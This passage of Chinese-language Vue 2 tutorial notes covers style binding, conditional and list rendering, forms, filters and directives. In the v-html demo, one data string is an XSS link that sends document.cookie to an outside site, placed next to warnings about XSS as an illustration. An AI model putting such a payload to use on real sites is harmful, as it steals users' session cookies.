    <!--绑定class样式 字符串写法,适用于:样式的类名不确定,需要动态指定-->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    <!--绑定class样式 数组写法,适用于:要绑定的样式个数不确定、名字也不确定-->
    <div class="basic" :class="classArry">{{name}}</div>
    <!--绑定class样式 对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用-->
    <div class="basic" :class="classObj">{{name}}</div>
</div>

</body>
<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            name:"YZC",
            mood:"normal",
            classArry:['atguigu1','atguigu2','atguigu3'],
            classObj:{
                atguigu1:false,
                atguigu2:true
            }
        },
        methods:{
            changeMood(){
                const moods=['happy','sad','normal'];
                this.mood=moods[Math.floor(Math.random()*3)]
            }
        }
    })
</script>
</html>
1.11.2 绑定style样式
普通写法
<div class="basic" :style="{fontSize:fsize+'px'}">{{name}}</div>
对象写法
<div class="basic" :style="styleObj">{{name}}</div>

styleObj:{
    fontSize:'40px',
    color:'red'
},
数组写法
<div class="basic" :style="styleArr">{{name}}</div>

styleArr:[
    {
        fontSize:'40px',
        color:'red'
    },
    {
        backgroundColor:'cornflowerblue'
    }
]
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>绑定样式</title>
    <style>
        .basic {
            width: 400px;
            height: 100px;
            border: 1px solid black;
        }
        .happy {
            background-color: cornflowerblue;
        }
        .sad {
            background-color: peru;
        }
        .normal {
            background-color: aliceblue;
        }
        .atguigu1 {
            background-color: gray;
        }
        .atguigu2 {
            background-color: green;
        }
        .atguigu3 {
            background-color: antiquewhite;
        }
    </style>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    绑定样式:
    1.class样式
        写法:class="xxx"  xxx可以是字符串、对象、数组
            字符串写法适用于:类名不确定,要动态获取
            对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
            数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
    2.style样式
        :style="{fontSize:xxx}"  其中xxx是动态值
        :style="[a,b]"  其中a、b是样式对象
-->

<div id="root">
    <!--绑定class样式 字符串写法,适用于:样式的类名不确定,需要动态指定-->
    <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    <!--绑定class样式 数组写法,适用于:要绑定的样式个数不确定、名字也不确定-->
    <div class="basic" :class="classArry">{{name}}</div>
    <!--绑定class样式 对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用-->
    <div class="basic" :class="classObj">{{name}}</div>
    <br/>
    <br/>
    <br/>
    <div class="basic" :style="{fontSize:fsize+'px'}">{{name}}</div>
    <!--绑定style样式 对象写法-->
    <div class="basic" :style="styleObj">{{name}}</div>
    <!--绑定style样式 数组写法-->
    <div class="basic" :style="styleArr">{{name}}</div>
</div>

</body>
<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            name:"YZC",
            mood:"normal",
            classArry:['atguigu1','atguigu2','atguigu3'],
            classObj:{
                atguigu1:false,
                atguigu2:true
            },
            fsize:40,
            styleObj:{
                fontSize:'40px',
                color:'red'
            },
            styleObj2:{
                backgroundColor:'cornflowerblue'
            },
            styleArr:[
                {
                    fontSize:'40px',
                    color:'red'
                },
                {
                    backgroundColor:'cornflowerblue'
                }
            ]
        },
        methods:{
            changeMood(){
                const moods=['happy','sad','normal'];
                this.mood=moods[Math.floor(Math.random()*3)]
            }
        }
    })
</script>
</html>

1.12 条件渲染

1.12.1 v-if
写法
  1. v-if=“表达式”
  2. v-else-if=“表达式”
  3. v-else=“表达式”
适用于

切换频率较低的场景

特点

不展示的DOM元素直接被移除

注意

v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”

<!--使用v-if作条件渲染-->
<h2 v-if="false">欢迎来到{{name}}</h2>
<h2 v-if="1===1">欢迎来到{{name}}</h2>
<hr>
<h2>当前n的值是{{n}}</h2>
<button @click="n++">点我n+1</button>
<!--v-if v-else-if v-else-->
<div v-if="n===1">Angular</div>
<div v-else-if="n===2">React</div>
<div v-else>Vue</div>
<!--v-if与template的配合使用-->
<template v-if="n===1">
    <h2>你好</h2>
    <h2>YZC</h2>
    <h2>河南</h2>
</template>
1.12.2 v-show
写法

v-show=“表达式”

适用于

切换频率较高的场景

特点

不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

<!--使用v-show作条件渲染-->
<h2 v-show="false">欢迎来到{{name}}</h2>
<h2 v-show="1===1">欢迎来到{{name}}</h2>
<h2 v-show="a">欢迎来到{{name}}</h2>
1.12.3 备注

使用v-if时,元素可能无法被获取到,而使用v-show一定可以获取到

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>条件渲染</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    条件渲染:
        1.v-if:
            写法:
                1)v-if="表达式"
                2)v-else-if="表达式"
                3)v-else="表达式"
            适用于:切换频率较低的场景
            特点:不展示的DOM元素直接被移除
            注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”
        2.v-show:
            写法:v-show="表达式"
            适用于:切换频率较高的场景
            特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
        3.备注:使用v-if时,元素可能无法被获取到,而使用v-show一定可以获取到
-->
<div id="root">
    <!--使用v-show作条件渲染-->
    <h2 v-show="false">欢迎来到{{name}}</h2>
    <h2 v-show="1===1">欢迎来到{{name}}</h2>
    <h2 v-show="a">欢迎来到{{name}}</h2>

    <!--使用v-if作条件渲染-->
    <h2 v-if="false">欢迎来到{{name}}</h2>
    <h2 v-if="1===1">欢迎来到{{name}}</h2>
    <hr>
    <h2>当前n的值是{{n}}</h2>
    <button @click="n++">点我n+1</button>
    <!--v-if v-else-if v-else-->
    <div v-if="n===1">Angular</div>
    <div v-else-if="n===2">React</div>
    <div v-else>Vue</div>

    <!--v-if与template的配合使用-->
    <template v-if="n===1">
        <h2>你好</h2>
        <h2>YZC</h2>
        <h2>河南</h2>
    </template>
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:"#root",
        data:{
            name:"祖安",
            a:true,
            n:0
        }
    })
</script>
</html>

1.13 列表渲染

1.13.1 v-for指令
  1. 用于展示列表数据
  2. 语法:v-for=“(item,index) in xxx” :key=“yyy”
  3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>基本列表</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    v-for指令:
        1.用于展示列表数据
        2.语法:v-for="(item,index) in xxx" :key="yyy"
        3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
-->
<div id="root">
    <!--遍历数组-->
    <h2>人员列表(遍历数组)</h2>
    <ul>
        <li v-for="person in persons" :key="person.id">{{person.id+"\t"+person.name+"\t"+person.age}}</li>
    </ul>
    <ul>
        <li v-for="(person,index) in persons" :key="person.id">{{person.id+"\t"+person.name+"\t"+person.age+"\tindex="+index}}</li>
    </ul>
    <!--遍历对象-->
    <h2>汽车信息(遍历对象)</h2>
    <ul>
        <li v-for="(carItem,key) in car" :key="key">{{carItem}}</li>
    </ul>
    <!--遍历字符串-->
    <h2>测试遍历字符串(用的少)</h2>
    <ul>
        <li v-for="(str,key) in strs" :key="key">{{str}}</li>
    </ul>
    <!--遍历指定次数-->
    <h2>测试遍历指定次数(用的少)</h2>
    <ul>
        <li v-for="(number,index) in 5" :key="key">{{"number="+number+" index="+index}}</li>
    </ul>
</div>
</body>
<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:"#root",
        data:{
            persons:[
                {id:"001",name:"张三",age:18},
                {id:"002",name:"李四",age:19},
                {id:"003",name:"王五",age:20},
            ],
            car:{
                name:"奥迪",
                price:"70w",
                color:"black"
            },
            strs:"Hello"
        }
    })
</script>
</html>
1.13.2 key的内部原理
  1. 虚拟DOM中key的作用:

    key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较

  2. 对比规则:

    1. 旧虚拟DOM中找到了与新虚拟DOM相同的key:

      1. 若旧虚拟DOM中内容没变,直接使用之前的真实DOM
      2. 若旧虚拟DOM中内容改变,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
    2. 旧虚拟DOM中未找到与新虚拟DOM相同的key

      创建新的真实DOM,随后渲染到页面

  3. 用index作为key可能会引发的问题:

    1. 若对数据进行操作:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新==>界面效果没问题,但效率低
    2. 如果结构中还包含输入类的DOM,会产生错误DOM更新==>界面有问题
  4. 开发中如何选择key?

    1. 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值
    2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的
1.13.3 列表过滤
用watch实现
new Vue({
    el:"#root",
    data:{
        keyWord:"",
        persons:[
            {id:"001",name:"马冬梅",age:18,sex:"女"},
            {id:"002",name:"周冬雨",age:19,sex:"女"},
            {id:"003",name:"周杰伦",age:20,sex:"男"},
            {id:"004",name:"温兆伦",age:21,sex:"男"},
        ],
        filterPersons:[]
    },
    watch:{
        keyWord:{
            immediate:true,
            handler(newValue){
                this.filterPersons=this.persons.filter((person)=>{
                    return person.name.indexOf(newValue)!==-1
                })
            }
        }
    }
})
用computed实现
new Vue({
    el:"#root",
    data:{
        keyWord:"",
        persons:[
            {id:"001",name:"马冬梅",age:18,sex:"女"},
            {id:"002",name:"周冬雨",age:19,sex:"女"},
            {id:"003",name:"周杰伦",age:20,sex:"男"},
            {id:"004",name:"温兆伦",age:21,sex:"男"},
        ],
    },
    computed:{
        filterPersons(){
            return this.persons.filter((person)=>{
                return person.name.indexOf(this.keyWord)!==-1
            })
        }
    }
})
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>列表过滤</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--

-->
<div id="root">
    <!--遍历数组-->
    <h2>人员列表</h2>
    <input type="text" placeholder="请输入名字" v-model="keyWord">
    <ul>
        <li v-for="(person,index) in filterPersons" :key="person.id">{{person.id+"\t"+person.name+"\t"+person.age+"\t"+person.sex+"\tindex="+index}}</li>
    </ul>
</div>
</body>
<script type="text/javascript">
    Vue.config.productionTip=false;

    //用watch实现
    // new Vue({
    //     el:"#root",
    //     data:{
    //         keyWord:"",
    //         persons:[
    //             {id:"001",name:"马冬梅",age:18,sex:"女"},
    //             {id:"002",name:"周冬雨",age:19,sex:"女"},
    //             {id:"003",name:"周杰伦",age:20,sex:"男"},
    //             {id:"004",name:"温兆伦",age:21,sex:"男"},
    //         ],
    //         filterPersons:[]
    //     },
    //     watch:{
    //         keyWord:{
    //             immediate:true,
    //             handler(newValue){
    //                 this.filterPersons=this.persons.filter((person)=>{
    //                     return person.name.indexOf(newValue)!==-1
    //                 })
    //             }
    //         }
    //     }
    // })

    //用computed实现
    new Vue({
        el:"#root",
        data:{
            keyWord:"",
            persons:[
                {id:"001",name:"马冬梅",age:18,sex:"女"},
                {id:"002",name:"周冬雨",age:19,sex:"女"},
                {id:"003",name:"周杰伦",age:20,sex:"男"},
                {id:"004",name:"温兆伦",age:21,sex:"男"},
            ],
        },
        computed:{
            filterPersons(){
                return this.persons.filter((person)=>{
                    return person.name.indexOf(this.keyWord)!==-1
                })
            }
        }
    })
</script>
</html>
1.13.4 列表排序
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>列表排序</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--

-->
<div id="root">
    <!--遍历数组-->
    <h2>人员列表</h2>
    <input type="text" placeholder="请输入名字" v-model="keyWord">
    <button @click="sortType=2">年龄升序</button>
    <button @click="sortType=1">年龄降序</button>
    <button @click="sortType=0">原顺序</button>
    <ul>
        <li v-for="(person,index) in filterPersons" :key="person.id">{{person.id+"\t"+person.name+"\t"+person.age+"\t"+person.sex+"\tindex="+index}}</li>
    </ul>
</div>
</body>
<script type="text/javascript">
    Vue.config.productionTip=false;

    //用computed实现
    new Vue({
        el:"#root",
        data:{
            keyWord:"",
            sortType:0,//0:原顺序  1:降序    2:升序
            persons:[
                {id:"001",name:"马冬梅",age:18,sex:"女"},
                {id:"002",name:"周冬雨",age:19,sex:"女"},
                {id:"003",name:"周杰伦",age:20,sex:"男"},
                {id:"004",name:"温兆伦",age:21,sex:"男"},
            ],
        },
        computed:{
            filterPersons(){
                const arr= this.persons.filter((person)=>{
                    return person.name.indexOf(this.keyWord)!==-1
                })
                //判断一下是否需要排序
                if (this.sortType){
                    arr.sort((person1,person2)=>{
                        return this.sortType===1?person2.age-person1.age:person1.age-person2.age
                    })
                }
                return arr
            }
        }
    })
</script>
</html>
1.13.5 总结Vue的数据监测
Vue监视数据的原理:
  1. Vue会监视data中所有层次的数据

  2. 如何监测对象中的数据?

    通过setter实现监视,且要在new Vue时就传入要监测的数据

    1. 对象中后追加的属性,Vue默认不做响应式处理
    2. 如需给后添加的属性做响应式,请使用如下API:
      • Vue.set(target,propertyName/index,value)
      • vm.$set(target,propertyName/index,value)
  3. 如何监测数组中的数据?
    通过包裹数据更新元素的方法实现,本质就是做了两件事:

    1. 调用原生对应的方法对数组进行更新
    2. 重新解析模板,进而更新页面
  4. 在Vue修改数组中的某个元素一定要用如下方法:

    1. 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
    2. Vue.set()或vm.$set()

特别注意: Vue.set()vm.$set()不能给vm或vm的根数据对象添加属性

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>总结Vue数据监测</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    Vue监视数据的原理:
        1.Vue会监视data中所有层次的数据
        2.如何监测对象中的数据?
            通过setter实现监视,且要在new Vue时就传入要监测的数据
            (1)对象中后追加的属性,Vue默认不做响应式处理
            (2)如需给后添加的属性做响应式,请使用如下API:
                Vue.set(target,propertyName/index,value)或
                vm.$set(target,propertyName/index,value)
        3.如何监测数组中的数据?
            通过包裹数据更新元素的方法实现,本质就是做了两件事:
            (1)调用原生对应的方法对数组进行更新
            (2)重新解析模板,进而更新页面
        4.在Vue修改数组中的某个元素一定要用如下方法:
            (1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
            (2)Vue.set()或vm.$set()

        特别注意:Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性
-->

<div id="root">
    <h1>学生信息</h1>

    <button @click="student.age.rAge++&&student.age.sAge++">年龄+1岁</button><br/><br/>
    <button @click="addSex">添加性别属性,默认值:男</button><br/><br/>
    <button @click="student.sex=student.sex==='男'?'女':'男'">修改性别</button><br/><br/>
    <button @click="addFriend">在列表首位添加一个朋友</button><br/><br/>
    <button @click="updateFriend">修改第一个朋友的名字为:张三</button><br/><br/>
    <button @click="addHobby">添加一个爱好</button><br/><br/>
    <button @click="addFirstHobby">修改第一个爱好为:开车</button><br/><br/>
    <button @click="filterSmoke">过滤掉爱好中的抽烟</button><br/><br/>

    <h2>学生姓名:{{student.name}}</h2>
    <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
    <h2>学生年龄:真实-{{student.age.rAge}},对外-{{student.age.sAge}}</h2>
    <h2>朋友们</h2>
    <ul>
        <li v-for="(friend,index) in student.friends" :key="index">
            {{friend.name}}--{{friend.age}}
        </li>
    </ul>
    <ul>
        <li v-for="(hobby,index) in student.hobbies" :key="index">
            {{hobby}}
        </li>
    </ul>
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            name:"YZC",
            address:"河南",
            leader:"",
            student:{
                name:"FH",
                age:{
                    rAge:22,
                    sAge:21
                },
                hobbies:['喝酒','烫头','抽烟'],
                friends:[
                    {name:"jery",age:18},
                    {name:"tom",age:19}
                ]
            }
        },
        methods:{
            addSex(){
                //Vue.set(this.student,'sex','男')
                this.$set(this.student,'sex','男')
            },
            addFriend(){
                this.student.friends.unshift({name:'暮光星灵',age:280})
            },
            updateFriend(){
                this.student.friends[0].name='张三'
            },
            addHobby(){
                this.student.hobbies.unshift('喝车')
            },
            addFirstHobby(){
                //this.student.hobbies.splice(0,1,'开车')
                //Vue.set(this.student.hobbies,0,'开车')
                this.$set(this.student.hobbies,0,'开车')
            },
            filterSmoke(){
                this.student.hobbies=this.student.hobbies.filter((hobby)=>{
                    return hobby!=='抽烟'
                })
            }
        }
    })
</script>
</html>

1.14 收集表单数据

收集表单数据:
  1. 若:<input type="text" />,则v-model收集的是value值,用户输入的就是value值
  2. 若:<input type="radio" />,则v-model收集的就是value值,且要给标签配置value值
  3. 若:<input type="checkbox" />
    1. 没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
    2. 配置input的value属性:
      1. v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
      2. v-model的初始值是数组。那么收集的就是value组成的数组
备注:
v-model的三个修饰符:
  1. lazy:失去焦点再收集数据
  2. number:输入字符串转为有效的数字
  3. trim:输入首尾空格过滤
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>收集表单数据</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    收集表单数据:
        若:<input type="text" />,则v-model收集的是value值,用户输入的就是value值
        若:<input type="radio" />,则v-model收集的就是value值,且要给标签配置value值
        若:<input type="checkbox" />,
            1.没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
            2.配置input的value属性:
                1)v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
                2)v-model的初始值是数组。那么收集的就是value组成的数组
        备注:v-model的三个修饰符:
            lazy:失去焦点再收集数据
            number:输入字符串转为有效的数字
            trim:输入首尾空格过滤
-->
<div id="root">
    <form @submit.prevent="demo">
        <label for="username">账号:</label><input type="text" id="username" v-model.trim="userInfo.username"><br><br/>
        <label for="password">密码:</label><input type="password" id="password" v-model="userInfo.password"><br><br/>
        <label for="age">年龄:</label><input type="number" id="age" v-model.number="userInfo.age"><br><br/>
        性别:
        男<input type="radio" v-model="userInfo.sex" value="male" name="sex"><input type="radio" v-model="userInfo.sex" value="female" name="sex"><br><br/>
        爱好:
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br><br>
        所属校区:
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武汉</option>
        </select><br><br>
        其他信息
        <textarea v-model.lazy="userInfo.others"></textarea><br><br>
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#" style="text-decoration: none">《用户协议》</a>
        <button>提交</button>
    </form>
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:"#root",
        data:{
            userInfo:{
                username:"",
                password:"",
                age:"",
                sex:"female",
                hobby:[],
                city:'',
                others:'',
                agree:''
            },
        },
        methods:{
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>
</html>

1.15 过滤器

过滤器:
定义:

对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)

语法:
  1. 注册过滤器:Vue.filter(name,callback)或new Vue{filters:{}}
  2. 使用过滤器:{{xxx | 过滤器名}}或v-bind:属性="xxx | 过滤器名"
备注:
  1. 过滤器也可以接收额外参数、多个过滤器也可以串联
  2. 并没有改变原本的数据,是产生新的对应的数据
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>收集表单数据</title>
    <script type="text/javascript" src="js/vue.js"></script>
    <script type="text/javascript" src="js/dayjs.min.js"></script>
</head>
<body>
<!--
    过滤器:
        定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
        语法:
            1.注册过滤器:Vue.filter(name,callback)或new Vue{filters:{}}
            2.使用过滤器:{{xxx | 过滤器名}}或v-bind:属性="xxx | 过滤器名"
        备注:
            1.过滤器也可以接收额外参数、多个过滤器也可以串联
            2.并没有改变原本的数据,是产生新的对应的数据
-->
<div id="root">
    <h2>显示格式化后的时间</h2>
    <!--计算属性实现-->
    <h3>现在是:{{fmtTime}}</h3>
    <!--methods实现-->
    <h3>现在是:{{getFmtTime()}}</h3>
    <!--过滤器实现-->
    <h3>现在是:{{time | timeFormater}}</h3>
    <!--过滤器实现(传参)-->
    <h3>现在是:{{time | timeFormater('YYYY年MM月DD日')}}</h3>
    <h3>现在是:{{time | timeFormater('YYYY年MM月DD日') | mySlice}}</h3>
    <h3 :x="msg | mySlice">啥玩意儿</h3>
</div>

<div id="root2">
    <h1>{{msg | mySlice}}</h1>
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip=false;
    //全局过滤器
    Vue.filter('mySlice',function (value){
        return value.slice(0,4)
    })

    new Vue({
        el:'#root',
        data:{
            time:1643202541386,//时间戳
            msg:"你好,偶哈有"
        },
        computed:{
            fmtTime(){
                return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss")
            }
        },
        methods:{
            getFmtTime(){
                return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss")
            }
        },
        //局部过滤器
        filters:{
            timeFormater(element,str='YYYY年MM月DD日 HH:mm:ss'){
                return dayjs(element).format(str)
            }
        }
    })
    new Vue({
        el:"#root2",
        data:{
            msg:"123456789"
        }
    })
</script>
</html>

1.16 内置指令

我们学过的指令:

  • v-bind:单向绑定解析表达式,可简写为 :xxx
  • v-model:双向数据绑定
  • v-for:遍历数组/对象/字符串
  • v-on:绑定事件监听,可简写为@
  • v-if:条件渲染(动态控制节点是否存在)
  • v-else:条件渲染(动态控制节点是否存在)
  • v-show:条件渲染(动态控制节点是否展示)
  • v-text:
    • **作用:**向其所在的节点中渲染文本内容
    • **与插值语法的区别:**v-text会替换掉节点中的内容,{{xx}}则不会
  • v-html:
    • **作用:**向指定节点中渲染包含html结构的内容
    • 与插值语法的区别:
      1. v-html会替换掉节点中所有的内容,{{xx}}则不会
      2. v-html可以识别html结构
    • 严重注意:v-html有安全性问题!!!
      1. 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
      2. 一定在可信的内容上使用v-html,永远不要用在用户提交的内容上
  • v-cloak:
    • 本质上是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
    • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
  • v-once:
    • v-once所在节点在初次动态渲染后,就视为静态内容了
    • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
  • v-pre:
    • 跳过其所在节点的编译过程
    • 可利用他跳过:没有使用的指令语法、没有使用插值语法的节点,会加快编译
v-html指令:
  1. 作用:向指定节点中渲染包含html结构的内容
  2. 与插值语法的区别:
    1. v-html会替换掉节点中所有的内容,{{xx}}则不会
    2. v-html可以识别html结构
  3. 严重注意:v-html有安全性问题!!!
    1. 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
    2. 一定在可信的内容上使用v-html,永远不要用在用户提交的内容上
v-text
  1. **作用:**向其所在的节点中渲染文本内容
  2. **与插值语法的区别:**v-text会替换掉节点中的内容,{{xx}}则不会
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>内置指令</title>
    <script type="text/javascript" src="js/vue.js"></script>
    <script type="text/javascript" src="js/dayjs.min.js"></script>
</head>
<body>
<!--
    我们学过的指令:
        v-bind:单向绑定解析表达式,可简写为 :xxx
        v-model:双向数据绑定
        v-for:遍历数组/对象/字符串
        v-on:绑定事件监听,可简写为@
        v-if:条件渲染(动态控制节点是否存在)
        v-else:条件渲染(动态控制节点是否存在)
        v-show:条件渲染(动态控制节点是否展示)
    v-text指令:
        1.作用:向其所在的节点中渲染文本内容
        2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会
-->
<div id="root">
    <div>你好,{{name}}</div>
    <div v-text="name">你好,</div>
    <div v-text="str">你好,</div>
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip=false;
    new Vue({
        el:'#root',
        data:{
            name:"YZC",
            str:"<h3>你好啊!</h3>"
        },
    })
</script>
</html>
v-html
  1. **作用:**向指定节点中渲染包含html结构的内容
  2. 与插值语法的区别:
    1. v-html会替换掉节点中所有的内容,{{xx}}则不会
    2. v-html可以识别html结构
  3. 严重注意:v-html有安全性问题!!!
    1. 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
    2. 一定在可信的内容上使用v-html,永远不要用在用户提交的内容上
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>内置指令</title>
    <script type="text/javascript" src="js/vue.js"></script>
    <script type="text/javascript" src="js/dayjs.min.js"></script>
</head>
<body>
<!--
    我们学过的指令:
        v-bind:单向绑定解析表达式,可简写为 :xxx
        v-model:双向数据绑定
        v-for:遍历数组/对象/字符串
        v-on:绑定事件监听,可简写为@
        v-if:条件渲染(动态控制节点是否存在)
        v-else:条件渲染(动态控制节点是否存在)
        v-show:条件渲染(动态控制节点是否展示)
    v-text指令:
        1.作用:向其所在的节点中渲染文本内容
        2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会
    v-html指令:
        1.作用:向指定节点中渲染包含html结构的内容
        2.与插值语法的区别:
            1)v-html会替换掉节点中所有的内容,{{xx}}则不会
            2)v-html可以识别html结构
        3.严重注意:v-html有安全性问题!!!
            1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
            2)一定在可信的内容上使用v-html,永远不要用在用户提交的内容上
-->
<div id="root">
    <div>你好,{{name}}</div>
    <div v-text="name">你好,</div>
    <div v-html="str">你好,</div>
    <div v-html="str2">你好,</div>
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip=false;
    new Vue({
        el:'#root',
        data:{
            name:"YZC",
            str:"<h3>你好啊!</h3>",
            str2:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>兄弟我找到你想要的资源了,快来!</a>"
        },
    })
</script>
</html>
v-cloak
  1. 本质上是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
<style>
    [v-cloak]{
        display: none;
    }
</style>

<div v-cloak>{{name}}</div>
v-once
  1. v-once所在节点在初次动态渲染后,就视为静态内容了
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>


<script type="text/javascript">
    Vue.config.productionTip=false;
    new Vue({
        el:'#root',
        data:{
            n:1
        },
    })
</script>
v-pre
  1. 跳过其所在节点的编译过程
  2. 可利用他跳过:没有使用的指令语法、没有使用插值语法的节点,会加快编译
<h2 v-pre>Vue其实很简单</h2>
<h2 v-pre>当前的n值是:{{n}}</h2>
<button @click="n++" v-pre>点我n+1</button>

1.17 自定义指令

自定义指令总结:
  1. 定义语法

    1. 局部指令:

      new Vue({
            directives:{指令名:配置对象}
      })
      或
      new Vue({
            directives{指令名:回调函数}
      })
      
    2. 全局指令:

      Vue.directive(指令名,配置对象) 
      或 
      Vue.directive(指令名,回调函数)
      
  2. 配置对象中常用的3个回调:

    1. **bind:**指令与元素成功绑定时调用
    2. **inserted:**指令所在元素被插入页面时调用
    3. **update:**指令所在模板结构被重新解析时调用
  3. 备注:

    1. 指令定义时不加v-,但使用时要加v-
    2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>自定义指令_函数式.html</title>
    <script type="text/javascript" src="js/vue.js"></script>
    <script type="text/javascript" src="js/dayjs.min.js"></script>
</head>
<body>
<!--
    需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
    需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点

    自定义指令总结:
        1.定义语法
            1)局部指令:
                new Vue({
                    directives:{指令名:配置对象}
                })
                或
                new Vue({
                    directives{指令名:回调函数}
                })
            2)全局指令:
                Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
        2.配置对象中常用的3个回调:
            1)bind:指令与元素成功绑定时调用
            2)inserted:指令所在元素被插入页面时调用
            3)update:指令所在模板结构被重新解析时调用
        3.备注:
            1.指令定义时不加v-,但使用时要加v-
            2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
-->
<div id="root">
    <h2>当前的n值是:<span v-text="n"></span></h2>
    <h2>放大10倍后的n值是:<span v-big="n"></span></h2>
    <h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
    <button @click="n++">点我n+1</button>

    <hr>

    <input type="text" v-bind:value="n">
    <input type="text" v-fbind:value="n">
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip=false;

    //定义全局指令
    Vue.directive('fbind2',{
        //指令与元素成功绑定时(一上来)
        bind(element,binding){
            element.value=binding.value
        },
        //指令所在元素被插入页面时
        inserted(element,binding){
            element.focus()
        },
        //指令所在模板被重新解析时
        update(element,binding){
            element.value=binding.value
            element.focus()
        }
    })

    new Vue({
        el:'#root',
        data:{
            n:1,
        },
        directives:{
            //big函数何时会被调用?
            //1.指令与元素成功'绑定'时(一上来)
            //2.指令所在的模板被重新解析时
            //函数式
            big(element,binding){
                element.innerHTML=binding.value*10;
            },
            'big-number'(element,binding){
